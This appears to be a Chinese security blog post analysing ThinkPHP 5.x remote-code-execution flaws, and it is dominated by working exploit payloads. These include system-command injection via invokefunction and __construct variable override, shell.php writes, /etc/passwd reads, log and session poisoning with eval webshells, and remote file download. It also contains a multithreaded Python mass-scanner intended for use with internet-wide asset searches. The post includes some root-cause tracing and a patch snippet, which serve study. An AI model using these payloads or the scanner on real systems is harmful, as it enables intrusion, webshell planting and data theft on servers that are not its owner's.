ThinkPhp之Rce分析
之前只是学会如何去利用,但是没有掌握这个漏洞的原理,因此这里复现一下这个漏洞,并且总结出一些利用方法
Thinkphp有两大版本的区别
ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30
5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
这些都是因为PHP未开启强制路由造成的,还有一种是利用变量覆盖达到命令执行的目的
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
下面会分逐一析一下
未开启强制路由命令执行
常见Paylaod如
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
首先 ThinkPhp默认开启了路由的兼容模式

那么在路由未过滤的情况下,我们就可以调用任意函数,因此就造成我们前面的命令执行
例如 think\view\driver\Php
中的 display
方法

我们传入一个 content就可以代码执行了

我们在 App.php
的解析路由中下个断点

这里面在前面实例化了 request
然后调用 routeCheck
跟进一下

首先通过 path()
方法获取我们传入的路径()

没有过滤

接着在进入路由检测

其实就是把 /
变为 |

之后再进入 parseUrl


将 /
换为 |
在进入 parseUrlPath

根据 |
取出,模块 控制器 操作 以及参数

最后可以看见调用了我们想利用的控制器
使用 \think\view\driver\Think
后面测试这个也可以
?s=index/\think\view\driver\Think/display&template=<?php%20phpinfo();?>

利用扩展
命令执行
既然我们可以控制了调用这些控制器,那么我们才总结一下有哪些可用的GetShell的方法吧
使用 \think\view\driver\Php

直接执行Php代码
?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

使用 \think\App

这个类中的 invokeFunction
方法可以任意函数执行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

使用 \think\Request
看师傅们的文章这个类中的 input
函数可以执行任意函数
我看了下我的环境,发现不可以(应该是环境问题)

?s=index/\think\Request/input&filter[]=system&data=pwd
使用 \think\Container
我这边环境没这个类
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
写Webshell
使用 \think\app
写Shell
可以命令执行就可以写了~
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
使用 \think\template\driver\file

直接写Shell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
使用 \think\view\driver\Think
利用模板生成Shell

?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
shell位于runtime/temp/md5(template的值).php

并且这个也可以执行命令

其他利用
5.0.x
?s=index/\think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
第一个使用 \think\config
获取配置信息




第二个任意文件包含利用的是 \think\Lang

?s=index/\think\Lang/load&file=./shell.php

此函数有多种利用方式,不限于代码执行、反序列化
任意文件读取
http://host-5/index.php?s=index/\think\Lang/load&file=file:///etc/passwd
若是不包含php的话直接利用此方法读取文件

暂时就测试了只有File协议可用,其他的应该会被过滤
第三个包含任意Php文件利用 \think\Config

验证了后缀名
?s=index/\think\Config/load&file=./shell.php

修复方式
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
使用正则获取控制器

小小总结
关于Thinkphp路由的利用就到这里面了,其实分析的并不是很好,因为这个框架我没有多去了解他,甚至有一些地方是断章取义的,但是这些只是作为本人学习和记录,望大家谅解.
还有就是利用方法的改变,对于现在直接RCE的机会不大,一般都是去文件包含等日志,反序列化等,文末后面会记录一下
method __contruct导致的RCE
简单的测试一下

首先现在 \think\Request.php
中下断点

这里面存在变量覆盖,就是将 $this->method 的值覆盖为我们传入的值

我们看一下 var_method
的值

并且后面我还可以用这个调用此类的任意函数

Payload里面选择的函数是此类的构造函数

这里面存在覆盖,我们可以将此类中的任意属性替换掉

这个是 Payload 构造的
但是这个会在什么时候被调用呢?
在 App.php
中,若开启了Debug,会调用 param()
方法


调用 Method()
方法
Method就是我们可以覆盖变量的方法
跟进 Server()

调用 input
,这里面有两个参数可控
跟进

调用 filterValue
,且1 3参数可控

最后达到命令执行

?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
有很多不懂的地方,我这里面只是断章取义的理解,勿喷

每个版本的利用方法可以参考
https://y4er.com/post/thinkphp5-rce/
ThinkPhp的多种利用方式
写Shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
写入的日志位于 runtime/log/202011/07.log //根据日期决定
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202011/07.log&x=phpinfo();

包含Session
写入Session
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_kking&x=phpinfo();
//kking改为你的session的ID

参考这个大佬的
https://xz.aliyun.com/t/6106
批量检测脚本
既然分析完了,就来写个批量的分析脚本试试看吧
分析通用型
因为是扫描器所以我们需要选择一个稳定的 Payload(最好很多版本都可用的),这里面我选择的是 \think\app
里面的 invokefunction
函数
分析实战性
实战中一般有很大的可能会遇到 宝塔 或者其他waf设备,因此不适用于命令执行、代码执行直接验证
我这里面使用Var_dump验证

?s=index/\think\app/invokefunction&function=var_dump&vars[0]=this%20a%20test
这个是针对于未开启强制路由的,接下来我们换成变量覆盖的试试

?s=captcha
_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0
接下来就来写脚本了,下面是写的测试脚本,支持url以及文件
Argument is lose
Example: xx.py -u url
Example: xx.py -f 1.txt
#coding=utf-8
from argparse import ArgumentParser,FileType
import sys
import requests
from queue import Queue
from threading import Thread
import warnings
warnings.filterwarnings("ignore")
proxies={
'http':"http://127.0.0.1:8088",
}
pocurl="/index.php?s=index/\\think\\app/invokefunction&function=var_dump&vars[0]=aa623a8a2a34729b095ffaf5b48d48b0"
postdata={
"_method":"__construct",
"filter[]":"var_dump",
"method":"get",
"server[REQUEST_METHOD]":"aa623a8a2a34729b095ffaf5b48d48b0"
}
def worker(q):
while True:
try:
data=q.get()
workerone(data)
except Exception as e:
pass
finally:
q.task_done()
pass
def workerone(url):
if "http" not in url:
url="http://"+url
url2=str(url).replace("index.php","")+pocurl
url1=str(url).replace("index.php","")+"/index.php?s=captcha"
verity1=requests.get(url2,timeout=15, verify=False)
if "aa623a8a2a34729b095ffaf5b48d48b0" in verity1.text:
print(url+"Exist vuln,\npayload:"+url)
verity2=requests.post(url1,data=postdata,timeout=15, verify=False)
if "aa623a8a2a34729b095ffaf5b48d48b0" in verity2.text:
print(url+" Exist vuln\npayload:?s=captcha\n_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0")
def main():
if len(sys.argv) < 3:
print("Argument is lose")
print("Example: xx.py -u url\nExample: xx.py -f 1.txt")
exit(0)
if sys.argv[1] == "-u":
workerone(sys.argv[2])
if sys.argv[1]=="-f":
file=open(str(sys.argv[2]))
q=Queue(20)
for _ in range(20):
t=Thread(target=worker,args=(q,))
t.start()
for line in file.readlines():
line=line.strip()
q.put(line)
q.join()
if __name__=='__main__':
main()
再配合fofa批量查询

不过因为这个漏洞很久了,因此效果不是很理想
参考
https://y4er.com/post/thinkphp5-rce/
https://github.com/Mochazz/ThinkPHP-Vuln
https://xz.aliyun.com/t/6106
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 大模型 Token 究竟是啥:图解大模型Token
· 35岁程序员的中年求职记:四次碰壁后的深度反思
· 继承的思维:从思维模式到架构设计的深度解析
· 如何在 .NET 中 使用 ANTLR4
· 后端思维之高并发处理方案
· BotSharp 5.0 MCP:迈向更开放的AI Agent框架
· 分享 3 款基于 .NET 开源且免费的远程桌面工具
· 在线聊天系统中的多窗口数据同步技术解密
· 2025,回顾出走的 10 年
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(5)